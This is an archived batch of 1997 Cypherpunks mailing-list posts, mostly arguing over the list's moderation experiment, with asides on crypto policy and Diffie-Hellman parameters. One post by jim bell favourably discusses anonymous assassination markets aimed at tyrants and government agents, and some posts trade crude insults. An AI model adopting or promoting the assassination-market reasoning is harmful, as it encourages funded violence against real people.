your feedback. ---Preston Gralla Executive Editor The ZDNet Software Library ________________________________________________ ZDNet Announcements are periodic notices of new features, special events and free offers available to members of ZDNet. --To subscribe to ZDNet Announcements, please send mail to: announce-on at lists.zdnet.com You can leave the subject and body blank. --To unsubscribe to ZDNet Announcements, please send mail to: announce-off at lists.zdnet.com You can leave the subject and body blank. ________________________________________________ Powered by Mercury Mail: http://www.merc.com From jimbell at pacifier.com Tue Feb 4 23:28:22 1997 From: jimbell at pacifier.com (jim bell) Date: Tue, 4 Feb 1997 23:28:22 -0800 (PST) Subject: Getting into MIT is impossible Message-ID: <199702050728.XAA18191@toad.com> Erland van Lidth de Jeude is a MIT grad. He played the big badass in "Stir Crazy." Computer science major, BTW. At 07:37 PM 2/3/97 -0800, Clint Barnett wrote: >wasn't Dolph Lundgren an MIT grad? I seem to remember something about him >having a degree in Chemical Engineering or something along those lines. > >clint barnett >lord of the cosmos >emily carr institute > >On Wed, 29 Jan 1997, Anonymous wrote: > >> >> >> According to Rick Osborne: >> >> "I disagree and can speak from experience. I was denied admission to MIT >> even thought I had a 3.82 GPA, 1440 SAT (one try), and had taken 9 AP tests >> with two 5's, four 4's, two 3's, and one 2. As for being well-rounded, I >> was on several academic teams, sang in Chorus, acted and stage managed in >> Drama, and played Tennis." >> >> People get into MIT--or don't get into MIT--for lots of reasons. Most >> intelligent people apply to several schools, knowing that admissions >> practices are subject to the vagaries of reality. >> >> In my case, my SATs were about 1500, with some 800s in achievement tests. >> And the usual bullshit high school clubs, political offices, etc. etc. I >> was accepted by MIT, but not by Caltech. I didn't lose any sleep over the >> way things turned out. >> >> And I decided not to go to MIT, either. >> >> "The only thing I didn't have that the next MIT applicant had was money. I >> made the mistake of letting them know that I was dirt poor and would need >> full aid/grants/etc, and to quote "The Great Escape" it was "Zzzt! To the >> Russian front!"" >> >> My guess is that "other factors" were involved. >> >> I noted with some interest, but little surprise, that the guy claiming MIT >> required a 4.0 GPA and a 1600 combined SAT score could barely spell, and >> had major problems making a coherent point. Methinks this is why MIT >> rejected him, not his lack of a "1600." >> >> ">For what it's worth, I wanted to go to MIT my sophomore year in high >> >school, too >> >> "Lucky you. It had been a dream of mine since I was an annoying >> overachiever of 6. Sux to be white trash, I guess." >> >> MIT offered me a substantial economic aid package, in the form of loans, >> grants, and various campus jobs. What does this tell you? >> >> "MIT may be a great school, but they tend to be snooty assholes for the most >> part. (DISCLAIMER: Not all MIT grads/attendees are necessarily "snooty >> assholes", I'm just saying that I've yet to meet one that wasn't.) >> >> I've known about a dozen or so MIT grads, and only one of them was a snooty >> asshole, and it was a _she_, one of the first MIT women grads (and she was >> _very_ impressed by this). >> >> Most MIT grads are perfectly reasonable. >> >> Xanthar >> >> >> >> >> -- >> > > > Jim Bell jimbell at pacifier.com From dlv at bwalk.dm.com Tue Feb 4 23:28:25 1997 From: dlv at bwalk.dm.com (Dr.Dimitri Vulis KOTM) Date: Tue, 4 Feb 1997 23:28:25 -0800 (PST) Subject: Geiger and long, unreadable lines Message-ID: <199702050728.XAA18196@toad.com> Adam Back writes: > > Dimitri Vulis writes on cpunks-flames: > > Adam Back writes on cpunks-flames: > > > > > > Mr William H. Geiger III "Author of E-Secure" writes on cpunks: > > > > for the benifit of those misfortunate enough to be still working > > > > dumb terminals I have disabled my PGP script until I have time to add a > > > > word wrap routine to it. > > > > > > it is you who were demonstrating your ineptitude by spewing > > > 120+ line length postings. Why is it so difficult for you to keep > > > under 80 chars? Would you like some technical assistance? Notice how > > > near every one else apart from yourself is managing to keep under 80 > > > chars? > > > > Notice how near every one else apart from yourself bends over for the NSA, > > and is willing to use a 40-bit key "escrowed" with the feds? Why is it so > > difficult for you to keep under 40 bits? Would you like some technical > > assistance? Why are you setting yourself apart from the Internet community > > that so happily embraces GAK? Why do you desire "privacy" for your traffic > > when everyone else does not? What have you got to hide? Are you looking to > > transmit child pornography, bomb-making instructions, and/or cannabis > > legalization propaganda? We better have a look at your hard disk soon. > > btw Dimitri, a crypto question: > > Diffie-Hellman key generation, there are two main ways of generating > the diffie-hellman prime modulus, method 1: > > p = 2q+1 > > where q is a prime also. > > And method 2: > > p = r.2q+1 > > where q is a prime and r is a randomly generated number. > > With method 1, the security parameter is the size of p in bits (or > size of q, as they are related). > > With method 2, there are two security parameters, size of q and size > of p in bits. > > Method 2 has the advantage that key generation is faster as it is > quicker to generate new random numbers r, than to repeatedly generate > trial prime q as you have to do in method 1. However is the security > weaker in method 2? What size of p and q do you have to use to get > the same security as for same size of p in bits as in method 1? What > should be the relationship between the size of p and q? > > (this isn't cpunks, this is cpunks-flames, so your non-crypto pledge > shouldn't hold, besides Sandy has a stated policy of killing the whole > thread, so I thought it amusing to continue your crypto relevance in > moving on to technical topics rather than political) My advice is to stay clear of any cryptosystem that relies on factoring being hard. I'll send you pointers to some very interesting new work based on the zeta function in private e-mail when I dig it up (please remind me if/when I forget this promise). I'm reluctant to say anything crypto-relevant on this defunct mailing list because last time I did, the moderator repeatedly cited it as evidence that his moderation works. --- Dr.Dimitri Vulis KOTM Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps From rah at shipwright.com Tue Feb 4 23:28:27 1997 From: rah at shipwright.com (Robert Hettinga) Date: Tue, 4 Feb 1997 23:28:27 -0800 (PST) Subject: Harvard Symposium Message-ID: <199702050728.XAA18201@toad.com> --- begin forwarded text Mime-Version: 1.0 Date: Tue, 4 Feb 1997 15:10:17 -0800 From: jmuller at brobeck.com (John D. Muller) Subject: Harvard Symposium To: rah at shipwright.com Bob: I don't recall seeing this on e$pam and thought it might be of interest. What with the Boston connection, it's clearly a dcsb-worthy item, and I'll send it to them separately. ______________________________ Forward Header __________________________________ Subject: [NET-LAWYERS] HARVARD JOURNAL OF LAW & TECHNOLOGY Author: "K. Dueker" at internet Date: 2/4/97 1:00 AM [CROSS-POSTED; PLEASE FORGIVE DUPLICATION] PRESS RELEASE Symposium: Crime & Technology Law Enforcement Technology % Cybercrime % Electronic Commerce (Cambridge, Massachusetts) - The Harvard Journal of Law & Technology is pleased to announce its Spring Symposium: "Crime & Technology." The Symposium will be held Saturday, March 15, 1997, in the Ames Courtroom at the Harvard Law School in Cambridge, MA. The Symposium will consist of two moderated panel discussions, as well as several presentations. The morning session is expected to focus on "Search, Seizure, and Surveillance Technology," while the afternoon session will focus on "The Risks of Electronic Banking & Commerce." Admission to the Symposium is free to all Harvard affiliates (with valid Harvard ID), $15 for all other students, $30 for public sector professionals, and $100 for private sector professionals. The Spring Issue of the Journal will include articles covering the broad topic of "Crime and Technology." For additional information about the Symposium or the Journal, contact Symposium Editor Belinda Juran, by e-mail at juran at law.harvard.edu, or by phone at the Harvard Journal of Law & Technology offices at 617-495-3606 or 617-493-7949. ABOUT THE JOURNAL: The Harvard Journal of Law & Technology is a leading scholarly publication for articles addressing the many diverse interstices of science and technology with law and society. We have published articles by law professors, practitioners, business leaders, and politicians on varied topics including biotechnology, computers, international trade, technology transfer, intellectual property, medical technologies, and telecommunications. These and other subjects are some of the most exciting and rapidly developing areas of the law, and we believe that the dialogue provided by the Harvard Journal of Law & Technology will help to shape the future of this important field. We welcome submissions of articles, case comments, or book reviews addressing the relationship of law and technology. SUBSCRIPTION INFORMATION: For additional information, please contact the Journal at the address below. The Journal publishes three issues each year. To subscribe to the Journal's upcoming issues in Volume 10, please send the Journal a check for U.S. $45.00 (foreign orders $50.00) to the address below. To obtain the issue discussed above or back issues, please send the Journal a check for $35.00 with a note indicating the desired issue (i.e., "Vol. 9 No. 2"). Media Contact: Kenneth S. Dueker, Communications Editor Release Date: February 04, 1997. ************************************************************************* Harvard Journal of Law & Technology Publications Center Harvard Law School Cambridge, MA 02138 Telephone: (617) 495-3606 E-Mail: jolt at law.harvard.edu WWW: http://www.law.harvard.edu/home/jolt/ ************************************************************************* --- end forwarded text ----------------- Robert Hettinga (rah at shipwright.com), Philodox e$, 44 Farquhar Street, Boston, MA 02131 USA "Never attribute to conspiracy what can be explained by stupidity." -- Jerry Pournelle The e$ Home Page: http://www.shipwright.com/rah/ FC97: Anguilla, anyone? http://www.ai/fc97/ From nobody at replay.com Tue Feb 4 23:28:29 1997 From: nobody at replay.com (Name Withheld by Request) Date: Tue, 4 Feb 1997 23:28:29 -0800 (PST) Subject: Moderation, Tim, Sandy, me, etc * Reputation Capital Message-ID: <199702050728.XAA18202@toad.com> I found this post from Mr Gilmore deeply disturbing, and I thought I'd take this chance to, as someone recently said, "Fly with the Eagles." John Gilmore said: >Tim, the Cypherpunks have chosen to follow Sandy's lead for this >month. I'll admit I made it easy for them, but the results are >conclusive. There are 1311 addresses in the cypherpunks list today; >42 in the unedited list; and 19 in the flames list. Forty people >cared enough to read every posting; the other thousand either wanted >to try the experiment -- or didn't care enough to send an email >message. Which, as we all know, is a very low threshold. Careful. The statistics you are throwing around here are misleading. So if 1350, say, subscribers were subscribed to an unmoderated cypherpunks list, what would that tell you? As has been pointed out, beaten to death, and generally repeated: there are already filtered c'punks lists. By filtering the main list, you are just making your own life difficult and corrupting the reputation capital of "cypherpunks", and the results are far from conclusive. >all I want is something that works. The cypherpunks list was unusable >for this kind of discussion, only a month ago. It's usable now. > >I'm definitely bugged by the community's attitude toward my >"censorship". Rather than being glad that someone, anyone, was doing >something about the major problem on the list, 99% of the reaction was >to create even more ill-considered, emotional flamage. *I* didn't >make the signal/noise get worse at that point -- *you-all* did. Again, maybe that 99% is trying to tell you something? Maybe there is some provocation for this outpouring of "emotional flamage." Also, here you claim that the s/n ratio is worse than before, but above you said that the "moderation" has made the list usable. These two statements seem contradictory. >Perhaps at that point I should have shut down the list, as Lucky is >now suggesting. "Asking the list what to do" was clearly not a useful >option. Sandy cared enough about the community to make some concrete Not a useful option? Why not? If there aren't any ideas left in this community, I'm with Lucky. Pull the plug. >gratifying. You-all remind me of a passage from Booker T. >Washington's book _Up From Slavery_, describing what happened on the >night that news of the Emancipation Proclamation reached the South: >Most of the people on the list haven't bothered to face that freedom. >Your de-facto "leaders" have faced it for you. It is a more serious "You clearly don't take your freedom seriously. Now try a month without it." >Start a mailing list on another site! Move this list to somewhere! >Create and nurture an alt group! Make an independent moderated list My problem with this is that you are currently holding the reputation capital tied up in the name "cypherpunks" hostage. If hosting this discussion forum has grown so tiring, then you are free to pull the plug in a heartbeat. I've heard a few even go so far as to ask "what's in a name" when others get so upset about the list called "cypherpunks" being moderated. Well, I'll tell you. Reputation capital. Thats why so many lurkers have waded through the muck for so long. I've seen the crown jewels that have surfaced here in the past, and spread the word. "Cypherpunks" was where the action was. It was fast and loose and inhabited by a prolific core of sharp minds. Old memes die hard, as is evidenced every time we see a warning about the "Goodtimes Virus." >The experiment will be over in a few weeks. Who's going to take over >deciding how to run the list, and running it? As I said, if you don't want the list anymore, pull the plug. It will pop up again elsewhere and you need never worry about it again. This post from Mr Gilmore certainly is revealing. Perhaps inevitably, he has assumed the traditional paternal role of authority when its motives and/or power to regulate is questioned. Golem From dthorn at gte.net Tue Feb 4 23:30:01 1997 From: dthorn at gte.net (Dale Thorn) Date: Tue, 4 Feb 1997 23:30:01 -0800 (PST) Subject: Moderation, Tim, Sandy, me, etc. * Strong crypto == DES?! Message-ID: <199702050730.XAA18236@toad.com> E. Allen Smith wrote: > From: IN%"gnu at toad.com" "John Gilmore" 4-FEB-1997 12:20:22.10 > >Tim, the Cypherpunks have chosen to follow Sandy's lead for this > >month. I'll admit I made it easy for them, but the results are > >conclusive. There are 1311 addresses in the cypherpunks list today; > >42 in the unedited list; and 19 in the flames list. Forty people > >cared enough to read every posting; the other thousand either wanted > >to try the experiment -- or didn't care enough to send an email > >message. Which, as we all know, is a very low threshold. > You're making an invalid assumption... namely that people who > stayed on the moderated list are neccessarily wanting it to be the > main list. This isn't the case with me, for instance. I'd also point > out that some of us - including me - were taking the time to take a > look at what happened with the moderated list. On the one hand, it > did result in a decrease in the trash messages... on the other hand, > it also drove away 1+ good posters (TCMay for one). What's really ironic here is that given three people who have knowledge of crypto/politics and something to say, the lesser two drove the best one away. Boo, hiss. From roy at sendai.scytale.com Tue Feb 4 23:36:53 1997 From: roy at sendai.scytale.com (Roy M. Silvernail) Date: Tue, 4 Feb 1997 23:36:53 -0800 (PST) Subject: Dissolving Choke Points In-Reply-To: <199702041441.GAA28354@toad.com> Message-ID: <970204.223430.9o6.rnr.w165w@sendai.scytale.com> -----BEGIN PGP SIGNED MESSAGE----- In list.cypherpunks, gbroiles at netbox.com writes: > My mention of Usenet was somewhat tongue-in-cheek; I don't know if I'd bother > with the list if it were moved to (or gated with) Usenet, as Usenet has > become for the most part 100+ Mb/day of uselessness. An obvious point. But you go on to say... > The good side I see to a move to Usenet is that it lets people use the > comparatively better tools for managing messages [...] FWIW, I gate all my subscribed mailing lists to local newsgroups because my newsreading tools are much better than my mailreading tools. > The down side is that Usenet is more or less a sewer these days, and some of > it's bound to spill over. The unfiltered list already had spammers and flamers. Would you expect nore sewage, different sewage or a combination? - -- Roy M. Silvernail [ ] roy at scytale.com DNRC Minister Plenipotentiary of All Things Confusing, Software Division PGP Public Key fingerprint = 31 86 EC B9 DB 76 A7 54 13 0B 6A 6B CC 09 18 B6 Key available from pubkey at scytale.com, which works now -----BEGIN PGP SIGNATURE----- Version: 2.6.2 iQCVAwUBMvgPUBvikii9febJAQElRwP+IC40bwrsV7w7NI0IMmdwGRPO8tHNo6qU pCb6i9UNSrtaFseZ6I04RIsy1mitoJbmDaoJqKcWz1smi4pr1Te/1QZDt8CLouP2 lXwZV9PojttoBbGlfrc1gY/ZEOnOtwwBemiMSiyIS0Md26f1VM9i1OMVR4RDpLY8 +VrFN9htVyc= =jMyg -----END PGP SIGNATURE----- From ichudov at algebra.com Tue Feb 4 23:40:50 1997 From: ichudov at algebra.com (Igor Chudov @ home) Date: Tue, 4 Feb 1997 23:40:50 -0800 (PST) Subject: hoho Message-ID: <199702050740.XAA18512@toad.com> haha From lwjohnson at grill.sk.ca Tue Feb 4 23:40:57 1997 From: lwjohnson at grill.sk.ca (Larry Johnson) Date: Tue, 4 Feb 1997 23:40:57 -0800 (PST) Subject: A Vote of Silence for Human Gus-Peter Message-ID: <199702050740.XAA18537@toad.com> I want to be the new modernator so anyone who wants me to be it can not send any messages, ok? So any people who dont send messages are voting for me, ok? (If I am modernator I will give everyone free pizza and Schotch.) Ok. Now evceryone vote, ok? Human Gus-Peter From dthorn at gte.net Tue Feb 4 23:41:10 1997 From: dthorn at gte.net (Dale Thorn) Date: Tue, 4 Feb 1997 23:41:10 -0800 (PST) Subject: Moderation [Tim,Sandy] Message-ID: <199702050741.XAA18588@toad.com> Dr.Dimitri Vulis KOTM wrote: > Dale Thorn writes: > > The drunk can be excluded, but when someone wants to use the drunk as > > an example to escalate the exclusion to other persons who are not in > > fact drunk, watch out! > If I get really really drunk, which happens very seldom, then I'm > too drunk to post. I don't mind an occasional beer, though. > Oksas, have you ever tried beer? :-) I had my first beer(s) in three years at one of those industrial parties last night. It made the craps table action seem a bit merrier, and the girls were friendlier too. From jimbell at pacifier.com Tue Feb 4 23:41:11 1997 From: jimbell at pacifier.com (jim bell) Date: Tue, 4 Feb 1997 23:41:11 -0800 (PST) Subject: More on Cellular Encryption Docs Message-ID: <199702050741.XAA18590@toad.com> At 06:31 PM 2/1/97 -0800, Bill Stewart wrote: >At 04:10 PM 2/1/97 -0500, John Young wrote: >>Here's more on the controlled documents for cellular encryption >>from TIA/EIA we described in a 26 January post to cpunks: >... >> TR45.0.A >> Common Cryptographic Algorithms, Revision B >> June 21, 1995, 72 pp. (With ITAR notice on every page) > >Of course, ITAR as recently modified says it's ok to send this >stuff overseas to foreigners, as long as it's on paper. >There may be separate restrictions on sending it, or on copying, >but they're based on copyright or contractual non-disclosure. Given that high-density inkjet printers can do 600x600 dpi resolution, it should be possible to achieve the equivalent of 100x100 bpi of easily-recoverable data on ordinary paper. That's about 800 kilobits, or 100 kilobytes. What does ITAR say about this? Jim Bell jimbell at pacifier.com From pdh at best.com Tue Feb 4 23:41:16 1997 From: pdh at best.com (Peter Hendrickson) Date: Tue, 4 Feb 1997 23:41:16 -0800 (PST) Subject: Moderation [Tim,Sandy] Message-ID: <199702050741.XAA18598@toad.com> At 6:22 PM 2/4/1997, Declan McCullagh wrote: > What Vulis and the rest (whom I killfiled long ago) have done is polluted a > common resource, making it unusable for the rest. It's the tragedy of the > commons. When all can speak without limit in a public forum, the drunken > boor can shout everyone else down. I think this analogy is inappropriate for modern communications forums. Mailing lists have the wonderful property that the drunken boor cannot shout everyone else down. This is what is so great about the Net. It is trivial to filter the drunken boor. This cannot be done in a crowded auditorium. Another neat property is the fact that people can't interrupt each other and everybody can "talk" at once. Peter Hendrickson pdh at best.com From wcampbel at peganet.com Tue Feb 4 23:41:20 1997 From: wcampbel at peganet.com (Bill Campbell) Date: Tue, 4 Feb 1997 23:41:20 -0800 (PST) Subject: GAK/KR spin Message-ID: <199702050741.XAA18605@toad.com> Steve Schear said: >Several months back there were discussions on the list regarding renaming >the government's key escrow/recovery proposals (KRAP comes to mind). I >think we need something that's catchy and simple (perhaps already familiar) >to understand for the semi-litterate citizen units. I propose we encourage >use of the terms "crippleware" or "crypto crippleware" when refering to the >products limited to their weak crypto and/or key escrow/recovery. Another point on all this that was made by Matt Blaze at the RSA conference (and that I have been making to all my friends) is that Crypto is basically a "solved" problem. The government's efforts to impose GAK is in effect transposing a "solved" problem into an "unsolved" problem - due to the inherent problems with any conceivable GAK "solution". I thought this was a very good case against GAK. =Bill= From jimbell at pacifier.com Tue Feb 4 23:41:22 1997 From: jimbell at pacifier.com (jim bell) Date: Tue, 4 Feb 1997 23:41:22 -0800 (PST) Subject: Fighting the cybercensor Message-ID: <199702050741.XAA18619@toad.com> At 08:15 PM 1/28/97 -0800, Steve Schear wrote: >>The poor can not hope to match the tyrants bid as they only have 10% of the >>wealth, the household knows that thier participation in an attempt on the >>tyrant will get them killed. Even if the attempt was successful. >>The people from the outside who would benefit from the bounty benefit more >>by taking the tyrants offer and then trying again, i.e. tiger teams. > >I think a hole in your thinking is to assume that the assasins have no >motive other than financial gain. I would submit that there are those that >have the skills, training and a political agenda coherent with the >wagerers, lacking only the financial incentive to make the risks >acceptable. These wetworkers won't consider accepting the bribe of the >rich/powerful In practice, we can't hold out much hope that donations to an AP system from "rich and powerful" people can be identified as such. After all, with the appropriate software I could just as easily make 100, $10 donations as a single $1000 donation. Assuming anonymity held, nobody but the donor knows from where the money came. However, fortunately I don't think it would make any difference in the overall effects. While AP would eliminate the taxation which is commonly thought of as the main way a "rich person" loses assets, in practice it would also shut down the well-hidden systems that allow some people to get rich (or, merely live off somebody else) "unfairly." Government agents come to mind, of course. Jim Bell jimbell at pacifier.com From mclow at owl.csusm.edu Tue Feb 4 23:41:23 1997 From: mclow at owl.csusm.edu (Marshall Clow) Date: Tue, 4 Feb 1997 23:41:23 -0800 (PST) Subject: Moderation, Tim, Sandy, me, etc. * Strong crypto == DES?! Message-ID: <199702050741.XAA18620@toad.com> At 4:05 PM -0800 2/4/97, aaron at herringn.com wrote: > >If I might make a suggestion: > >Some people want moderation. That's fine, I've never been very big on >letting other people choose what I read, but some people want it. > >For those who want it, let someone moderate the list for as long as >they care to do it. Approved messages get a "X-sandy-approved" >header. The responsibility for setting up a filter to toss everything >that doesn't have the header is the responsibility of the end user. >Toad will need to filter incoming posts to make sure they don't come >"pre-approved", but that's the only hole I can think of. > >Everyone gets all of the Cypherpunks list. Those who want moderation >filter the unapproved posts, those who want all of it get all of it. > >Hopefully, this will make (almost) everyone happy. > I like this idea. However, I would suggest an additional refinement: Implement a cypherpunks-moderated list which is all the 'approved' messages. This way, people who wish to have the benefits of a filtered list are happy, people who wish to have posts rated for them (but be able to check on the "rater") are happy, and people who wish to see every message are happy. (I know that John has concerns about toad's mail capacity, and this may be too big a load) ObCrypto policy: Was anyone else besides me amazed by the guy from Deloitte-Touche at the Internet Privacy Coalition luncheon last week? I mean, he all but advocated violent overthrow of the government. D-T is the most "establishment" of the big-6 accounting firms, last time that I looked. It's a weird world when we have a representative of a company that makes a living advising people on how to obey government regulations advocating civil disobedience. -- Marshall Marshall Clow Aladdin Systems Warning: Objects in calendar are closer than they appear. From lwjohnson at grill.sk.ca Tue Feb 4 23:41:25 1997 From: lwjohnson at grill.sk.ca (Larry Johnson) Date: Tue, 4 Feb 1997 23:41:25 -0800 (PST) Subject: John Gilmore / What a _Lamer_! Message-ID: <199702050741.XAA18624@toad.com> John Gilmore wrote: > Tim, the Cypherpunks have chosen to follow Sandy's lead for this > month. I havent chosen nothing like that. I read all the stuff from all the messages from before modernation and since then and nobody got to choose nothing. You told them what they were going to gwet and thats what they got. Anybody that made it plain that they werent happy got thrown in the trashcan and labled as being a flamer. > I'll admit I made it easy for them, but the results are > conclusive. There are 1311 addresses in the cypherpunks list today; > 42 in the unedited list; and 19 in the flames list. 1311 addresses that you stole for your censored list. Nobvody subscribved to cypherpunks-censored. You put them there cause its you decided it was your list an dyou could put people where you wanted even if they didnt like it. My uncle calls it the cyperpunks-Auschwitz list. Thats what subdir he keeps it in in his Dorks dir. > The cypherpunks list was unusable > for this kind of discussion, only a month ago. It's usable now. I could use it before and Im just a kid but Im not a lamer. Maybe you should call the list you stole cypherpunks-lamers. > I'm definitely bugged by the community's attitude toward my > "censorship". I know you are or else you wouldna thrown cypherpunks honest and truthful feelings in the flames-crapper. > Rather than being glad that someone, anyone, was doing > something about the major problem on the list, 99% of the reaction was > to create even more ill-considered, emotional flamage. I read a lot of flamessages which people put a lot of their thouhgts into bu t they were emotional cause people get like that when someone doo-doos on them. > *I* didn't > make the signal/noise get worse at that point -- *you-all* did. You dont make any signal/noise at all since you dont even send messages to the list. (except when you want tell bs about how people "chose" Sandy to be their dictator when they didnt) > "Asking the list what to do" was clearly not a useful > option. Not necessary either if your a dictator. > As Dale suggests, I > wasn't about to waste my time reading the whole list in real time and > passing judgement on the postings. Sandy was, for a month. Howcum reading the list is a wast eof your time but making decisions for ecveryone on the cypherpunks isnt? > To some it seemed that, now that they were in actual possession of > it, freedom was a more serious thing than they had expected to > find it. > > Most of the people on the list haven't bothered to face that freedom. 1311 ofg them? Howcum you just stole all of the list people for your censored list? I think that was real stupid unless you just didnt care if people would know that your were stealing the list for yourself. It was really rotten to call pewople flamers just cause they complained. > Be responsible for setting your society's privacy policy -- without > knowing whether you are right. Thats what those GAK guys are for and all those secret govbernment guys that want there not to be a cypherpunks anymore. > Shall I post you an Emancipation Proclamation -- as if you needed one? No you already done too much. > The experiment will be over in a few weeks. Who's going to take over > deciding how to run the list, and running it? I will. Im just a kid but I cant do any worse than already. > the immortal words of Lazarus Long, "PIPE DOWN!". Im a kid so I get told to shut up all the time but I dont. > PS: Can we talk about crypto too? What do you mean _we_ white man? (thats a joke) You havent talked about nothing on the list except how your not a bad guy for pushing people areound into the lists where you want them whether they like it or not. You stole my uncles subsribing to the cypherpunks list and made him a censored person. He had to break out to go to the uncensored list. I think your a lamer. Human Gus-Peter From jeremey at veriweb.com Tue Feb 4 23:41:29 1997 From: jeremey at veriweb.com (Jeremey Barrett) Date: Tue, 4 Feb 1997 23:41:29 -0800 (PST) Subject: "alt.cypherpunks" people? Message-ID: <199702050741.XAA18633@toad.com> -----BEGIN PGP SIGNED MESSAGE----- > John Gilmore urges action, or piping down... well lets start with > discussion of whether one possible action is appropriate, and useful > (piping down is not an option:-): > > What do people think of starting an alt.cypherpunks USENET newsgroup? As an additional forum, it's not a bad idea, with the exception that it may draw some people away from the mailing list, and reduce the already- slim signal on the list. USENET is less accessible than email, and given the goals of cypherpunks, the more accessible the medium the better. I have crap news access 99% of the time, and I imagine a significant portion of the list is in a similar situation. Also, the tools for news reading are not well-suited for filtering, either manual or automatic. > 3. USENET distribution is likely less efficient of overall bandwidth > > 4. News propogation times are often poor (Exeter univ. receives news > about a week late) This is a real killer in my view. I have > another news server I can access at the moment, but not everyone > may have access to a reasonable news server. > > 5. News access is more complex for some people. Some alt newsgroups > are not carried by some servers. Perhaps news-to-mail and > mail-to-news gateway would solve these problems. These 3 are fatal IMO. The distribution of cypherpunks would become much more haphazard and might fail altogether in places. Some people will be reading long threads days after they are dead. > Coderpunks is a reasonable list, I'm not sure that it is moderated as > such, but if you breach etiquette (discussion of politics, even when > perpetrated by respected cryptographers, or by people discussing the > implications of breaking DES, rather than the strict coding questions) > they get Futplex-grams, which I find slightly annoying. > > Cryptography at c2.net is again reasonable, and gained back some of the > original people who quit cypherpunks over the years due to noise. > Cryptography is moderated. (Or is moderated when Perry thinks it > would benefit from moderation, so that may change). Agreed. These lists _are_ the alternative to the "open" cypherpunks list. If a moderated cypherpunks is to be started, great, but it should be another list, not _the_ cypherpunks list. Moderation, even with the best intentions, is subjective, and therefore has no place on a list such as cypherpunks. If this is really an experiment, at the end of the month the list should become unmoderated, and a moderated list created. Then we can see how many people switch in that direction. I imagine it would be a similar number to those that switched to the unedited list. > What's left is attempting to stop government restrictions and backdoors, > and deploying the many complex peices of software for which there exists > uses and demands. There is still much to be done. The cypherpunks list has plenty of reason for being. As is, it 1) is still used as a forum for good discussion, despite the noise, and 2) is an invaluable resource for information retrieval and dispersal. The list should not be killed or moved IMO, and moderation should occur on other lists, not the main one. - -- =-----------------------------------------------------------------------= Jeremey Barrett VeriWeb Internet Corp. Senior Software Engineer http://www.veriweb.com/ PGP Key fingerprint = 3B 42 1E D4 4B 17 0D 80 DC 59 6F 59 04 C3 83 64 =-----------------------------------------------------------------------= -----BEGIN PGP SIGNATURE----- Version: 2.6.2 Comment: Processed by Mailcrypt 3.4, an Emacs/PGP interface iQCVAwUBMvgVuy/fy+vkqMxNAQGFcgQAiZ0mKRTRkOYCYKlyAQrbUA0iHo1j1IiI DqJzLEXWX1AwYbRg4S4CRowey9+uMMbSo6nfONc5y7Wz7O3MvmLbGdmOCKaLNR56 7/TXY4Rj7yk8odKN3s4aYZ61vTMqMFdqzo42q5dNTQyL5haM1ugwgjg1bS5u3ski venMQtFa8t4= =aIej -----END PGP SIGNATURE----- From EALLENSMITH at ocelot.Rutgers.EDU Tue Feb 4 23:42:51 1997 From: EALLENSMITH at ocelot.Rutgers.EDU (E. Allen Smith) Date: Tue, 4 Feb 1997 23:42:51 -0800 (PST) Subject: IN%"pdh@best.com",IN%"ichudov@algebra.com",IN%"gnu@toad.com",IN%"ay@got.net Message-ID: <199702050742.XAA18655@toad.com> Forwarded with permission: From: IN%"loki at infonex.com" "Lance Cottrell" 4-FEB-1997 15:34:25.09 >I would be happy to donate the resources to run Cypherpunks off our system. >We could set up the list provided we were given a list of subscribers. I >assume it would be unmoderated. > -Lance >> Hi. I don't know how much you've been keeping up with >>the discussion on cypherpunks, but there is a current proposal >>to distribute the list onto several different servers. I would >>be willing to pay for 100 subscribers to run on the cyberpass.net >>server, provided that somebody else (e.g., Igor Chudov) set up >>the system initially and was available for assistance later. Any >>problems on your end? >> [...] >> Thanks, >> -Allen From zachb at netcom.com Tue Feb 4 23:42:54 1997 From: zachb at netcom.com (Z.B.) Date: Tue, 4 Feb 1997 23:42:54 -0800 (PST) Subject: Moderation, Tim, Sandy, me, etc * Reputation Capital Message-ID: <199702050742.XAA18656@toad.com> On Wed, 5 Feb 1997, Name Withheld by Request wrote: > [snip] > John Gilmore said: > >Perhaps at that point I should have shut down the list, as Lucky is > >now suggesting. "Asking the list what to do" was clearly not a useful > >option. Sandy cared enough about the community to make some concrete > > Not a useful option? Why not? If there aren't any ideas left in this > community, I'm with Lucky. Pull the plug. > [snip] I've been meaning to ask this for a while...but why *don't* we just pull the plug, at least for just a few days? Unsubscribe everyone from all the lists, wait a bit, and then send a message to all of the subscribers with full info on each of the lists (cp, cp-unedited,cp-flames) and see what happens when they resubscribe. I bet that most of the people who don't post and don't care one way or the other wouldn't bother to resubscribe, so we'd have a higher ratio of people who mind if the list is moderated vs. those who'd be happy either way. Zach Babayco zachb at netcom.com <-------finger for PGP public key If you need to know how to set up a mail filter or defend against emailbombs, send me a message with the words "get helpfile" (without the " marks) in the SUBJECT: header, *NOT THE BODY OF THE MESSAGE!* I have several useful FAQs and documents available. From jer+ at andrew.cmu.edu Tue Feb 4 23:42:59 1997 From: jer+ at andrew.cmu.edu (Jeremiah A Blatz) Date: Tue, 4 Feb 1997 23:42:59 -0800 (PST) Subject: My Departure, Moderation, and "Ownership of the List" Message-ID: <199702050742.XAA18657@toad.com> -----BEGIN PGP SIGNED MESSAGE----- Just to add my $.02 to the me too pile: It should be noted that the subscription from netbb+internet. cypherpunks at andrew.cmu.edu is a mail<->news gateway for Carnegie Mellon University people. It represents maybe 10-50 cypherpunks readers. I used to read cypherpunks from there, but I see some kind soul has subscribed CMU to the unedited list, so I will read that instead. My killfile is just enough censorship for me. On the choke points note, mailing lists are better than usenet because legendary AOLers with there 5 free hours of fame and their ilk usually don't figure out how to pester mailing lists. Being on a mailing list usually requires a commitment, that is enough of a barrier for many of the usenet underirables. Waiting for the end of moderation, Jer "standing on top of the world/ never knew how you never could/ never knew why you never could live/ innocent life that everyone did" -Wormhole -----BEGIN PGP SIGNATURE----- Version: 2.6.2 iQB1AwUBMvgpEskz/YzIV3P5AQHzygL/Ur5YjSD8D8wNn5B74mdHASUqj1Gelwi+ GT3wIITGh1RMnFFEYQLWCyjW9NVJ6RIKJY6t5rLzRiy4gNe0jA8AMNI6E8NuaFV1 J8SDjY0oAo0ixBJHzv0MXui8f4ciS4tD =Lbs9 -----END PGP SIGNATURE----- From dthorn at gte.net Tue Feb 4 23:43:01 1997 From: dthorn at gte.net (Dale Thorn) Date: Tue, 4 Feb 1997 23:43:01 -0800 (PST) Subject: Moderation, Tim, Sandy, me, etc * Reputation Capital Message-ID: <199702050743.XAA18659@toad.com> Z.B. wrote: > On Wed, 